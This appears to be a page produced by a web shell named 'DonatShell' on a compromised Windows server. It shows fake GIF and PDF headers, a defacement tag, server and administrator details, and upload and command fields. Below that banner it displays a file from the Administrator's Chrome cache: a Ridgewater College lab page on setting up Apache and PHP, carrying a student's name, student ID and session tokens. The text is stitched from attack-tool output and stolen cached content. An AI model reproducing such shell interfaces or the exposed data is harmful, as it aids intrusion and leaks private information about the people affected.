GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Cache/Cache_Data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Cache/Cache_Data/f_000208
<!DOCTYPE html>

<html lang="en">

<head>
  <title>Computer Systems Technology - CST2608 Linux Server Administration - Lab 5 - Web server - Michael Malz - 2025 Fall Semester (20263)</title>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <link href="/css/CST.css" rel="stylesheet" type="text/css">
  <link href="/css/debug.css" rel="stylesheet" type="text/css">
  <link href="/css/tooltip.css" rel="stylesheet" type="text/css">
  <script src="/js/CST.js"></script>
  <script src="/js/div.js"></script>
  <script src="/js/CollapsibleLists.js"></script>
  <script src="/js/debug.js"></script>
  <script src="/js/tooltip.js"></script>
</head>

<body>

<!-- Begin section 1 -->
<br>
<table id="tbl_1" class="sectionTable nopad center"  style="width:1000px;" >
  <tr>
    <td class="blackBorderLeft"></td>
    <td id="td_1" class="sectionTd blackHeading" style="width:978px;">
			<div style="position:relative;">
			<div style="padding-top:3px;">Computer Systems Technology - Ridgewater College</div><div style="position:absolute; right:0; top:0; text-align:right; width:100%;"><div style="padding-top:2px;"><a href="/admin/">admin</a>  <a href="?Logout">Logout</a></div></div>			</div>
		</td>
    <td class="urcA"><div class="urcA"></div></td>
    <td class="urcB"><div class="urcB"></div></td>
  </tr>
  <tr>
    <td class="whiteBorder"></td>
    <td id="td2_1" class="contentTd white" colspan="2" style="width:996px;">
		<table class="nopad">
			<tr>
				<td class="pageImage" rowspan="2"><a href="/"><img src="/images/CSTlogoBlue115.gif" alt="Blue CST logo"></a></td>
				<td class="pageName" colspan="3">2025 Fall Semester (20263)<br>CST2608 Linux Server Administration<br>Lab 5 - Web server</td>
				<td class="pageImage" rowspan="2"><a href="/"><img src="/images/CSTlogoGreen115.gif" alt="Green CST logo"></a></td>
			</tr>
			<tr style="height:25px;">
				<td style="width:70px;"></td>
				<td class="center" style="width:688px;">
					<a href="/">Home</a> | <a href="?Logout">Logout</a><br>
	<table class="center">
	<tr>
		<td>
			<a href="/MichaelMalz/CST2608/" title="CST2608 class homepage.">CST2608 Home</a>			 | <a href="/MichaelMalz/CST2608/?Assignments">Assignments</a>			 | <a href="/MichaelMalz/CST2608/Resources/" title="CST2608 Resources.">Resources</a>		 | <a href="/MichaelMalz/CST2608/Schedule/" title="CST2608 Schedule.">Schedule</a>		 | <a href="/MichaelMalz/CST2608/Syllabus/" title="CST2608 Syllabus.">Syllabus</a>		</td>
	</tr>
	</table>
	<table class="center"><tr><td>
			<a href="/MichaelMalz/CST2608/?ClassRoster" title="CST2608 Class Roster.">Class Roster</a>
			 | <a href="/MichaelMalz/CST2608/?Gradebook" title="CST2608 Gradebook.">Gradebook</a>
	
	</td></tr></table>

</td>
				<td class="right" style="width:70px;"></td>
			</tr>
		</table>
    </td>
    <td class="blackBorderRight"></td>
  </tr>
</table>
<!-- End section 1 -->

<!-- Begin section 2 -->
<br>
<table id="tbl_2" class="sectionTable nopad center"  style="width:1000px;" >
  <tr>
    <td class="blackBorderLeft"></td>
    <td id="td_2" class="sectionTd blackHeading" style="width:978px;">
			<div style="position:relative;">
			<div style="padding-top:3px; margin:0 250px; white-space:nowrap;">Computer Systems Technology - Ridgewater College</div><div style="position:absolute; left:2px; top:0px;">
	<form name="form_SelectSession" class="inline" action="/MichaelMalz/CST2608/Labs/Lab05/" method="post">
		<input type="hidden" name="f_form" value="form_SelectSession">
		<input type="hidden" name="f_uuid" value="67d3b0b8cb021dfa9121f559ec1c9c8d">
		<input type="hidden" name="f_task" value="Change session">
		<select name="f_sessionId" id="f_sessionId" onchange="this.form.submit();">
	
			<option value="308" selected>2025 Fall Semester (20263) (current)</option>
			<option value="307">2025 Spring Semester (20255)</option>
			<option value="306">2024 Fall Semester (20253)</option>
			<option value="305">2024 Spring Semester (20245)</option>
			<option value="304">2023 Fall Semester (20243)</option>
		</select>
	</form>
</div>			</div>
		</td>
    <td class="urcA"><div class="urcA"></div></td>
    <td class="urcB"><div class="urcB"></div></td>
  </tr>
  <tr>
    <td class="whiteBorder"></td>
    <td id="td2_2" class="contentTd white" colspan="2" style="width:996px;">
<br>
<form name="form_CST2608_Lab05" action="/MichaelMalz/CST2608/Labs/Lab05/" id="formAssignment" onSubmit="return checkFileUpload(this);" method="post" enctype="multipart/form-data">
<input name="f_form" type="hidden" value="form_CST2608_Lab05">
<input name="f_task" type="hidden" value="Submit">
<input name="f_uuid" type="hidden" value="3be69b2d46a6074ec05fb15342317e7e">
<input name="f_evaluationNumber" type="hidden" value="5">
<input name="f_classId" type="hidden" value="1285">
<input name="f_classNumber" type="hidden" value="CST2608">
<input name="f_classSection" type="hidden" value="41">
<input name="f_courseNumber" type="hidden" value="CST2608">
<input name="f_evaluationId" type="hidden" value="3500">
<input name="f_evaluationName" type="hidden" value="Lab05">
<input name="f_evaluationTitle" type="hidden" value="Web server">
<input name="f_evaluationType" type="hidden" value="Lab">
<input name="f_userFullName" type="hidden" value="Michael Malz">
<input name="f_userId" type="hidden" value="1688">
<input name="f_userStudentId" type="hidden" value="00081530">
<input name="HTTP_REFERER" type="hidden" value="https://cst.ridgewater.edu/MichaelMalz/CST2608/?Assignments">
<input name="MAX_FILE_SIZE" type="hidden" value="100000000">

<fieldset><legend>Description</legend>
The purpose of this lab is to demonstrate your ability to setup a Web server and PHP.
<br><span class="note normal">DO NOT PERFORM THIS LAB UNTIL Lab 3.5 has been successfully performed.</span>
<div><b class="evalDueInFuture">This Lab is due before Monday, October 6<sup>th</sup>, 2025 at 2:00 pm (in 7 weeks).</b></div><div><span class="evalNS">You have not submitted Lab 5.</span></div><div class="hp note">
	I have added a capability to assignment pages:
	You can now <b>check-off</b> the steps by clicking on the step numbers.
	<br>This is not persistant. If you reload the page all steps begin as un-checked again.
	</div></fieldset>

<fieldset><legend>Lab Instruction</legend>
	Create a folder for this lab named <b class="copyText">Lab05</b> and keep all documents used for Lab 5 in that folder.
<ol id="main" class="count">
  <li>Install Apache Web Server.
  	<ol type="a">
			<li>Install Apache2 Web Server as per the <a href="https://ubuntu.com/server/docs/how-to-install-apache2">How to install Apache2</a> docmentation and by reviewing the recording.</li>
      <li>Restart Apache.
      	<br><kbd class="copyText">sudo service apache2 restart</kbd>
      </li>
      <li>Test your installation.
      	<br>Open a brower and enter your server name in the location bar(<b class="copyText">micmal20.mal.test</b>).
				<br>You should see the default Ubuntu Apache index file.
      </li>
      <li>Edit the index.html file.
      	<br><kbd class="copyText">sudo pico /var/www/html/index.html</kbd>
      </li>
      <li>Replace the text in the index.html file with this:
        <pre class="code copyText">&lt;html>
&lt;head>
	&lt;title>Michael Malz's Website&lt;/title>
&lt;/head>
&lt;body>
&lt;h1>It works for Michael Malz!&lt;/h1>
&lt;p>
Test PHP by loading the &lt;a href="phpinfo.php">phpinfo.php&lt;/a> page.
&lt;/body>
&lt;/html></pre>
      </li>
			<li>Open a browser and go to <b class="copyText">http://micmal20.mal.test</b>.
								<br>Take a screenshot and save it as <b class="copyText" style="white-space:nowrap;">CST2608-Lab05a-MichaelMalz.png</b>.
				<br><div id="show5a" class="inline">(<a href="#" onClick="divHide('show5a'); divShow('5a'); return false;">See example</a>)</div>
				<div id="5a" class="hidden">(<a href="#" onClick="divHide('5a'); divShowInline('show5a'); return false;">Hide example</a>)<br>
				<!--BrowserBegin('Michael Malz's Website - CST browser', 'micmal20.mal.test', '850', '')-->
<table class="nopad">
	<!--Title bar-->
	<tr>
		<td style="background-image:url(/common/Browser/ul.png); background-repeat:no-repeat; width:8px; height:24px;"></td>
		<td style="background-image:url(/common/Browser/u.png); background-repeat:repeat-x; width:834px; height:24px;"><img src="/common/Browser/cst.png" alt="" style="float:left; margin-top:2px;"><div style="font-size:smaller; float:left; margin-left:3px; margin-top:2px;">Michael Malz's Website - CST browser</div></td>
		<td style="background-image:url(/common/Browser/ur.png); background-repeat:no-repeat; width:8px; height:24px;"></td>
	</tr>
	<!--Location bar-->
	<tr class="middle">
		<td style="background-image:url(/common/Browser/l.png); background-repeat:repeat-y; width:8px;"></td>
		<td style="background-image:url(/common/Browser/c.png); background-repeat:repeat; width:834px;">
		<table class="nopad">
			<tr>
				<td style="width:62px;"><div style="font-size:smaller; float:left; margin-left:3px; margin-top:4px;">Location:</div></td>
				<td><div style="background-color:#FFFFFF; border:1px solid silver; font-family:'Times New Roman', Times, serif; font-size:16px; overflow:hidden; padding:3px; text-align:left; white-space: nowrap; width:764px;"><img src="/common/Browser/cstw.png" alt="" style="float:left; margin-right:3px; margin-top:1px;">micmal20.mal.test</div></td>
			</tr>
		</table>
		</td>
		<td style="background-image:url(/common/Browser/r.png); background-repeat:repeat-y; width:8px;"></td>
	</tr>
	<!--Content-->
	<tr>
		<td style="background-image:url(/common/Browser/l.png); background-repeat:repeat-y; width:8px;"></td>
		<td style="font-family:'Times New Roman', Times, serif; font-size:16px; text-align:left;"><div style="background-color:white; border:1px solid silver; padding:3px; text-align:left; width:826px;">				<h1 style="text-align: left;">It works for Michael Malz!</h1>
				Test PHP by loading the <a href="#" onClick="return false;">phpinfo.php</a> page.
				</div></td>
		<td style="background-image:url(/common/Browser/r.png); background-repeat:repeat-y; width:8px;"></td>
	</tr>
	<!--Status bar-->
	<tr>
		<td style="background-image:url(/common/Browser/bl.png); background-repeat:no-repeat; width:8px; height:8px;"></td>
		<td style="background-image:url(/common/Browser/b.png); background-repeat:repeat-x; width:834px; height:8px;"></td>
		<td style="background-image:url(/common/Browser/br.png); background-repeat:no-repeat; width:8px; height:8px;"></td>
	</tr>
</table>
<!--BrowserEnd()-->
				</div>
			</li>
    </ol> 
  </li>
  <li>Install PHP.
  	<ol type="a">
			<li>Install PHP as per the <a href="https://ubuntu.com/server/docs/programming-php">How to install and configure PHP</a> docmentation and by reviewing the recording.</li>
      <li>Restart Apache.
      	<br><kbd class="copyText">sudo service apache2 restart</kbd>
      </li>
      <li>Test your installation.
      	<br>Open a brower and enter your server name in the location bar (<b class="copyText">micmal20.mal.test</b>).
      </li>
      <li>Create the phpinfo.php file.
      	<br><kbd class="copyText">sudo pico /var/www/html/phpinfo.php</kbd>
        <br>Enter the following:
        <pre class="code copyText">&lt;?php
print "&lt;h1&gt;Michael Malz&lt;/h1&gt;";
phpinfo();
?>
</pre>
      </li>
			<li>Back in the browser, click on the phpinfo.php link.
								<br>Take a screenshot and save it as <b class="copyText" style="white-space:nowrap;">CST2608-Lab05b-MichaelMalz.png</b>.
				<br><div id="show5b" class="inline">(<a href="#" onClick="divHide('show5b'); divShow('5b'); return false;">See example</a>)</div>
				<div id="5b" class="hidden">(<a href="#" onClick="divHide('5b'); divShowInline('show5b'); return false;">Hide example</a>)<br>
				<!--BrowserBegin('Michael Malz's Website - CST browser', 'micmal20.mal.test', '', '')-->
<table class="nopad">
	<!--Title bar-->
	<tr>
		<td style="background-image:url(/common/Browser/ul.png); background-repeat:no-repeat; width:8px; height:24px;"></td>
		<td style="background-image:url(/common/Browser/u.png); background-repeat:repeat-x; height:24px;"><img src="/common/Browser/cst.png" alt="" style="float:left; margin-top:2px;"><div style="font-size:smaller; float:left; margin-left:3px; margin-top:2px;">Michael Malz's Website - CST browser</div></td>
		<td style="background-image:url(/common/Browser/ur.png); background-repeat:no-repeat; width:8px; height:24px;"></td>
	</tr>
	<!--Location bar-->
	<tr class="middle">
		<td style="background-image:url(/common/Browser/l.png); background-repeat:repeat-y; width:8px;"></td>
		<td style="background-image:url(/common/Browser/c.png); background-repeat:repeat;">
		<table class="nopad">
			<tr>
				<td style="width:62px;"><div style="font-size:smaller; float:left; margin-left:3px; margin-top:4px;">Location:</div></td>
				<td><div style="background-color:#FFFFFF; border:1px solid silver; font-family:'Times New Roman', Times, serif; font-size:16px; overflow:hidden; padding:3px; text-align:left; white-space: nowrap;"><img src="/common/Browser/cstw.png" alt="" style="float:left; margin-right:3px; margin-top:1px;">micmal20.mal.test</div></td>
			</tr>
		</table>
		</td>
		<td style="background-image:url(/common/Browser/r.png); background-repeat:repeat-y; width:8px;"></td>
	</tr>
	<!--Content-->
	<tr>
		<td style="background-image:url(/common/Browser/l.png); background-repeat:repeat-y; width:8px;"></td>
		<td style="font-family:'Times New Roman', Times, serif; font-size:16px; text-align:left;"><div style="background-color:white; border:1px solid silver; padding:3px; text-align:left;">				<img src="images/php.png" title="Example screenshot" style="display:block; margin:0 auto;">
				</div></td>
		<td style="background-image:url(/common/Browser/r.png); background-repeat:repeat-y; width:8px;"></td>
	</tr>
	<!--Status bar-->
	<tr>
		<td style="background-image:url(/common/Browser/bl.png); background-repeat:no-repeat; width:8px; height:8px;"></td>
		<td style="background-image:url(/common/Browser/b.png); background-repeat:repeat-x; height:8px;"></td>
		<td style="background-image:url(/common/Browser/br.png); background-repeat:no-repeat; width:8px; height:8px;"></td>
	</tr>
</table>
<!--BrowserEnd()-->
				</div>
			</li>
    </ol> 
  </li>
	<li>Get Apache working with Webmin.
		<ol type="a">
			<li>Get Apache working with Webmin.</li>
			<li>Open Webmin in your browser and go to <b>Servers/Apache Webserver</b>.
								<br>Take a screenshot and save it as <b class="copyText" style="white-space:nowrap;">CST2608-Lab05c-MichaelMalz.png</b>.
				<br><div id="show5c" class="inline">(<a href="#" onClick="divHide('show5c'); divShow('5c'); return false;">See example</a>)</div>
				<div id="5c" class="hidden">(<a href="#" onClick="divHide('5c'); divShowInline('show5c'); return false;">Hide example</a>)<br>
				<!--BrowserBegin('Michael Malz's Website - CST browser', 'https://micmal20.mal.test:10000', '', '')-->
<table class="nopad">
	<!--Title bar-->
	<tr>
		<td style="background-image:url(/common/Browser/ul.png); background-repeat:no-repeat; width:8px; height:24px;"></td>
		<td style="background-image:url(/common/Browser/u.png); background-repeat:repeat-x; height:24px;"><img src="/common/Browser/cst.png" alt="" style="float:left; margin-top:2px;"><div style="font-size:smaller; float:left; margin-left:3px; margin-top:2px;">Michael Malz's Website - CST browser</div></td>
		<td style="background-image:url(/common/Browser/ur.png); background-repeat:no-repeat; width:8px; height:24px;"></td>
	</tr>
	<!--Location bar-->
	<tr class="middle">
		<td style="background-image:url(/common/Browser/l.png); background-repeat:repeat-y; width:8px;"></td>
		<td style="background-image:url(/common/Browser/c.png); background-repeat:repeat;">
		<table class="nopad">
			<tr>
				<td style="width:62px;"><div style="font-size:smaller; float:left; margin-left:3px; margin-top:4px;">Location:</div></td>
				<td><div style="background-color:#FFFFFF; border:1px solid silver; font-family:'Times New Roman', Times, serif; font-size:16px; overflow:hidden; padding:3px; text-align:left; white-space: nowrap;"><img src="/common/Browser/cstw.png" alt="" style="float:left; margin-right:3px; margin-top:1px;">https://micmal20.mal.test:10000</div></td>
			</tr>
		</table>
		</td>
		<td style="background-image:url(/common/Browser/r.png); background-repeat:repeat-y; width:8px;"></td>
	</tr>
	<!--Content-->
	<tr>
		<td style="background-image:url(/common/Browser/l.png); background-repeat:repeat-y; width:8px;"></td>
		<td style="font-family:'Times New Roman', Times, serif; font-size:16px; text-align:left;"><div style="background-color:white; border:1px solid silver; padding:3px; text-align:left;">				<img src="images/webmin_apache.png" title="Example screenshot">
				</div></td>
		<td style="background-image:url(/common/Browser/r.png); background-repeat:repeat-y; width:8px;"></td>
	</tr>
	<!--Status bar-->
	<tr>
		<td style="background-image:url(/common/Browser/bl.png); background-repeat:no-repeat; width:8px; height:8px;"></td>
		<td style="background-image:url(/common/Browser/b.png); background-repeat:repeat-x; height:8px;"></td>
		<td style="background-image:url(/common/Browser/br.png); background-repeat:no-repeat; width:8px; height:8px;"></td>
	</tr>
</table>
<!--BrowserEnd()-->
				</div>
			</li>
		</ol>
	</li>
	<li>Get PHP working with Webmin.
		<ol type="a">
			<li>Get PHP working with Webmin.</li>
			<li>Open Webmin in your browser and go to <b>Others/PHP Configuration</b>.
								<br>Take a screenshot and save it as <b class="copyText" style="white-space:nowrap;">CST2608-Lab05d-MichaelMalz.png</b>.
				<br><div id="show5d" class="inline">(<a href="#" onClick="divHide('show5d'); divShow('5d'); return false;">See example</a>)</div>
				<div id="5d" class="hidden">(<a href="#" onClick="divHide('5d'); divShowInline('show5d'); return false;">Hide example</a>)<br>
				<!--BrowserBegin('Michael Malz's Website - CST browser', 'https://micmal20.mal.test:10000', '', '')-->
<table class="nopad">
	<!--Title bar-->
	<tr>
		<td style="background-image:url(/common/Browser/ul.png); background-repeat:no-repeat; width:8px; height:24px;"></td>
		<td style="background-image:url(/common/Browser/u.png); background-repeat:repeat-x; height:24px;"><img src="/common/Browser/cst.png" alt="" style="float:left; margin-top:2px;"><div style="font-size:smaller; float:left; margin-left:3px; margin-top:2px;">Michael Malz's Website - CST browser</div></td>
		<td style="background-image:url(/common/Browser/ur.png); background-repeat:no-repeat; width:8px; height:24px;"></td>
	</tr>
	<!--Location bar-->
	<tr class="middle">
		<td style="background-image:url(/common/Browser/l.png); background-repeat:repeat-y; width:8px;"></td>
		<td style="background-image:url(/common/Browser/c.png); background-repeat:repeat;">
		<table class="nopad">
			<tr>
				<td style="width:62px;"><div style="font-size:smaller; float:left; margin-left:3px; margin-top:4px;">Location:</div></td>
				<td><div style="background-color:#FFFFFF; border:1px solid silver; font-family:'Times New Roman', Times, serif; font-size:16px; overflow:hidden; padding:3px; text-align:left; white-space: nowrap;"><img src="/common/Browser/cstw.png" alt="" style="float:left; margin-right:3px; margin-top:1px;">https://micmal20.mal.test:10000</div></td>
			</tr>
		</table>
		</td>
		<td style="background-image:url(/common/Browser/r.png); background-repeat:repeat-y; width:8px;"></td>
	</tr>
	<!--Content-->
	<tr>
		<td style="background-image:url(/common/Browser/l.png); background-repeat:repeat-y; width:8px;"></td>
		<td style="font-family:'Times New Roman', Times, serif; font-size:16px; text-align:left;"><div style="background-color:white; border:1px solid silver; padding:3px; text-align:left;">				<img src="images/webmin_php.png" title="Example screenshot">
				</div></td>
		<td style="background-image:url(/common/Browser/r.png); background-repeat:repeat-y; width:8px;"></td>
	</tr>
	<!--Status bar-->
	<tr>
		<td style="background-image:url(/common/Browser/bl.png); background-repeat:no-repeat; width:8px; height:8px;"></td>
		<td style="background-image:url(/common/Browser/b.png); background-repeat:repeat-x; height:8px;"></td>
		<td style="background-image:url(/common/Browser/br.png); background-repeat:no-repeat; width:8px; height:8px;"></td>
	</tr>
</table>
<!--BrowserEnd()-->
				</div>
			</li>
		</ol>
	</li>
  <li>Turn in your assignment:
		<ol type="a">
			<!--
			<li>Copy <b class="copyText">/var/www/html/index.html</b> to your <b>Lab05</b> folder.</li>
			<li>Copy <b class="copyText">/var/www/html/phpinfo.php</b> to your <b>Lab05</b> folder.</li>
			-->
			<li>Make sure the following files are in your <b>Lab05</b> folder:
				<ol type="a">
					<li>CST2608-Lab05a-MichaelMalz.png.</li>
					<li>CST2608-Lab05b-MichaelMalz.png.</li>
					<li>CST2608-Lab05c-MichaelMalz.png.</li>
					<li>CST2608-Lab05d-MichaelMalz.png.</li>
					<!--
					<li>index.html <span class="note">(copied from <span class="copyText">/var/www/html/index.html</span>)</span>.</li>
					<li>phpinfo.php <span class="note">(copied from <span class="copyText">/var/www/html/phpinfo.php</span>)</span>.</li>
					-->
				</ol>
			</li>
			<li>Zip up your <b>Lab05</b> directory into a file named <b class="copyText">CST2608_MichaelMalz_Lab05.zip</b>.</li>
			<li>Browse and select your <b>CST2608_MichaelMalz_Lab05.zip</b> file: <input type="file" name="fileUpload" id="inpFileUpload"><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"> for grading.</li>
		</ol>
	</li>
</ol></fieldset>
	<input name="f_uploadFilename" id="hid_uploadFilename" type="hidden" value="CST2608_MichaelMalz_Lab05.zip">
</form>
<script>
	// checkFileUpload()
	// Ensure a file has been selected for upload.
	function checkFileUpload() {
		let uploadOK = false;
		let DEBUG = true;
		if ( document.getElementById('inpFileUpload') ) {
			let eUpload = document.getElementById('inpFileUpload'); // The input type="file" element.
			let eUploadError = document.getElementById('divFileploadError'); // The following div element to display an error.
			eUploadError.innerHTML = '';
			let eUploadFile = document.getElementById('hid_uploadFilename'); // The filename(s) needed for the upload file.
			let filesToUpload = eUploadFile.value.split(',');
			let filesToUploadCount = filesToUpload.length;
			if ( eUpload.value != "" ) {
				// Get the list of files to upload from hid_uploadFilename
				if ( DEBUG ) { console.log(`${PC}Files to upload count=${filesToUploadCount} filesToUpload=${filesToUpload}`,CI); }
				let filesSelectedForUpload = eUpload.files;
				let filesSelectedForUploadCount = filesSelectedForUpload.length;
				if ( DEBUG ) {
					console.log(`${PC}Files selected for upload count=${filesSelectedForUploadCount}`,CL);
					for (let i = 0; i < filesSelectedForUploadCount; i++) {
						console.log(`${PC}Filename[${i}]=${filesSelectedForUpload[i].name}.`,CL);
					}
				}
				if (filesToUploadCount === filesSelectedForUploadCount ) {
					let fileNameOKcount = 0;
					let prefix = '';
					for ( let i = 0; i < filesSelectedForUploadCount; i++ ) {
						let fileNameToUpload = filesSelectedForUpload[i].name;
						if ( filesToUpload.includes(fileNameToUpload) ) {
							fileNameOKcount++;
						} else {
							eUploadError.innerHTML += prefix + ' An incorrect file ['+fileNameToUpload+'] was selected for upload.';
						}
					}
					if ( fileNameOKcount === filesToUploadCount ) { uploadOK = true; }
				} else {
					uploadOK = false;
					eUploadError.innerHTML = ' An incorrect number of files selected for upload.';
				}
			} else {
				if ( filesToUploadCount !== 0 ) {
					eUploadError.innerHTML = ' No file was selected for upload.';
					uploadOK = false;
				} else {
					uploadOK = true;
				}
			}
		} else {
			uploadOK = true;
		}
		if ( DEBUG ) { console.log(`${PC}uploadOK=${uploadOK}`,CL); }
		//uploadOK = false;
		return uploadOK;
	} // END checkFileUpload.
	//let e_formAssignment = document.getElementById('formAssignment');
	//e_formAssignment.addEventListener('submit', checkFileUpload);
	
	let DEBUG = false;
	let ttLIshown = false;
	let counter1 = 0;
	let counter2 = 0;
	let counter3 = 0;
	let counter4 = 0;
	let counter5 = 0;
	let ttFunction = ttCheck;
	function _Initialize_Page() {
		var DEBUG = false;
		if ( DEBUG ) { console.groupCollapsed(`${PC}_Initialize_Page[]`,CG); } else { console.log(`${PC}_Initialize_Page[]`,CH); }//
		// Setup li elements so they can be checked off, unchecked.
		let liAll = document.getElementsByTagName('li'); // Get collection of li elements.
		//console.dir(liAll[3]);
		if ( DEBUG ) { console.log(`${PC}liAll.length=${liAll.length}`,CL); }
		for ( let i=0; i<liAll.length; i++ ) { // Loop thru li elements.
			let li= liAll[i];
			// Search for OL and FORM parentNodes.
			let pNodes = '';
			var eWalk = li;
			let hasOL = false;
			let addListener = false;
			let depth = 0;
			while( eWalk && eWalk.tagName && eWalk.tagName !== "BODY" ) { // Parse up the DOM.
				if ( eWalk.nodeName == 'OL' && eWalk.className.search('nocheck') === -1) { // Is this an OL w/o nocheck class?
					//console.dir(eWalk);
					//console.log(eWalk.className.search('nocheck'));
					hasOL= true; // Set true so addListener can be set true if FORM is found.
					depth++; // Increase the list depth.
				} // Is this an OL w/o nocheck class?
				if ( hasOL && eWalk.nodeName == 'FORM' ) { // Is the OL in a FORM?
					addListener= true; // Both OL and FORM found. Event listener should be added.
				} // Is the OL in a FORM?
				pNodes += ','+ eWalk.nodeName; // Keep a list of nodeNames.
				eWalk = eWalk.parentNode; // Get the next parentNode.
			} // Parse up the DOM.
			if ( addListener ) { // Should an event listener be added?
				// Calculate the counter for the li element
				// This works to a depth of 5. Should probably we written as a recursive function.
				switch ( depth ) {
					case 1:
						counter1++;
						counter = counter1.toString();
						counter2 = 0;
						counter3 = 0;
						counter4 = 0;
						counter5 = 0;
						break;
					case 2:
						counter2++;
						counter = counter1.toString()+'.'+counter2.toString();
						counter3 = 0;
						counter4 = 0;
						counter5 = 0;
						break;
					case 3:
						counter3++;
						counter = counter1.toString()+'.'+counter2.toString()+'.'+counter3.toString();
						counter4 = 0;
						counter5 = 0;
					case 4:
						counter4++;
						counter = counter1.toString()+'.'+counter2.toString()+'.'+counter4.toString();
						counter5 = 0;
						break;
					case 5:
						counter5++;
						counter = counter1.toString()+'.'+counter2.toString()+'.'+counter4.toString()+'.'+counter5.toString();
						break;
				}
				li.counter = counter; // Add the counter to the li element.
				li.style.zIndex = depth - 5; // Set a negative zIndex with the deepest element closest to the top.
				//li.style.listStylePosition = 'outside';
				//li.style.listStylePosition = 'inside';
				if ( DEBUG ) { console.log(`${PC}${counter} hasOL=${hasOL} addListener=${addListener} pNodes=${pNodes} depth=${depth}`,CI); }
				// Add the click event listener.
				li.addEventListener('click', event => {
					if ( ttLIshown ) {
						//console.log(`${PC}ttHide[]`,CD);
						ttHide();
						ttLIshown = false;
					}
					if ( typeof e.counter !== 'undefined' ) { // Is it defined?
						let e = event.target;
						let isOK = isOverLiBefore(e);
						//console.log(`${PC}counter=${e.counter} zIndex=${e.style.zIndex} className=${e.className}`,CL);
						if ( isOK ) {
							if ( DEBUG ) { console.log(`${PC}e.className=${e.className}`,CL); }
							if ( e.className.indexOf('checked') === -1 ) { // Is it unchecked?
								// Unchecked li. Check it.
								//console.log(`${PC}Unchecked li. Check it.`,CS);
								e.className = e.className + ' checked';
								e.saveBackgroundColor = e.style.backgroundColor;
								//li.style.listStylePosition = 'outside';
								e.style.backgroundColor = '#ddd';
								e.style.opacity = "0.66";
								event.stopPropagation();
								ttFunction = ttUncheck;
							} else { // Is it unchecked?
								// Checked li. Uncheck it.
								//console.log(`${PC}Checked li. Uncheck it.`,CS);
								e.className = e.className.replace(' checked','');
								e.style.backgroundColor = e.saveBackgroundColor;
								//li.style.listStylePosition = 'outside';
								e.style.opacity = "1.0";
								event.stopPropagation();
								ttFunction = ttCheck;
							} // Is it unchecked?
							//console.log(`${PC}e.className=${e.className}`,CD);
						} else {
							//console.log(`${PC}Mouse out of range.`,CW);
						}
					} // Is it defined?
				}) // END click.
				// Add the mouseleave event listener.
				li.addEventListener('mouseleave', event => {
					event.stopPropagation();
					if ( ttLIshown ) {
						//console.log(`${PC}ttHide[]`,CD);
						ttHide();
						ttLIshown = false;
					}
				}) // END mouseleave.
				// Add the mousemove event listener.
				li.addEventListener('mousemove', event => {
					mouseXY(event);
					e = event.target;
					let isOK = isOverLiBefore(e);
					if ( isOK ) {
						ttFunction(event);
					} else {
						if ( ttLIshown ) {
							//console.log(`${PC}ttHide[]`,CD);
							ttHide();
							ttLIshown = false;
						}
					}
					//if ( DEBUG ) { console.log(`${PC}mouse mx=${mx} my=${my}`,CL); }
				}) // END mousemove.
			} // Should an event listener be added?
		} // Loop thru li elements.
		if ( DEBUG ) { console.groupEnd(); }
	} // END _Initialize_Page.
	
	// ttCheck(evt)
	// Show the check tooltip.
	function ttCheck(evt) {
		e = evt.target;
		let isOK = isOverLiBefore(e);
		if ( isOK && typeof e.counter !== 'undefined' ) {
			//console.log(`${PC}e.className=${e.className}`,CL);
			ttShow('Click to check step '+e.counter+' as finished.','info');
			ttLIshown = true;
		}
	} // END ttCheck.
	
	// ttUncheck(evt)
	// Show the uncheck tooltip.
	function ttUncheck(evt) {
		e = evt.target;
		let isOK = isOverLiBefore(e);
		if ( isOK && typeof e.counter !== 'undefined' ) {
			//console.log(`${PC}e.className=${e.className}`,CL);
			ttShow('Click to uncheck step'+e.counter+'.','info');
			ttLIshown = true;
		}
	} // END ttCheck.
	
	// isOverLiBefore(e)
	// Return true if the mouse is over the li::before, else false.
	function isOverLiBefore(e) {
		var DEBUG = false;
		let depth = parseInt(e.style.zIndex) + 5;
		if ( DEBUG ) { console.group(`${PC}isOverLiBefore[e.nodeName=${e.nodeName} .counter=${e.counter} .depth=${depth}]`,CG); }//Collapsed
		let isOK = true;
		let liBounds = ElementBounds(e);
		if ( DEBUG ) { console.log(`${PC}my=${my} li.top=${liBounds.top} my>liBounds.top+22=${(my > liBounds.top + 22)}`,CL); }
		// Ensure my is over li::before.
		if ( ( typeof my === 'undefined' ) || my > liBounds.top + 22 ) { // Is my too low?
			// Yes, my too low.
			isOK = false;
		} else { // Is my too low?
			// No, check mx.
			// Calculate the li number text width.
			let counterText = e.counter;
			let e_spnToMeasureCounterTextWidth = document.getElementById('spnToMeasureCounterTextWidth');
			e_spnToMeasureCounterTextWidth.innerHTML = counterText + '. ';
			e_spnToMeasureCounterTextWidth.style.display = 'table-cell';
			let counterTextWidth = e_spnToMeasureCounterTextWidth.offsetWidth;
			e_spnToMeasureCounterTextWidth.style.display = 'none';
			let depthReduction = Math.pow(depth, 2) * 3;
			if ( DEBUG ) { console.log(`${PC}counterTextWidth=${counterTextWidth} depthReduction=${depthReduction}`,CL); }
			let mxMin = liBounds.left;
			let mxOffset = mx + 34;
			let mxMax = liBounds.left + counterTextWidth;// - depthReduction;
			if ( DEBUG ) { console.log(`${PC}mx=${mx} mxMin=${mxMin} mxMax=${mxMax} counterTextWidth=${counterTextWidth}`,CI); }
			if ( mx < mxMin || mx > mxMax ) { // Is to far left or right?  1 2 3, 1 4 9, 1 4 27
				isOK = false;
			} // Is to far left or right?
		} // Is my too low?
		if ( DEBUG ) { console.groupEnd(); }
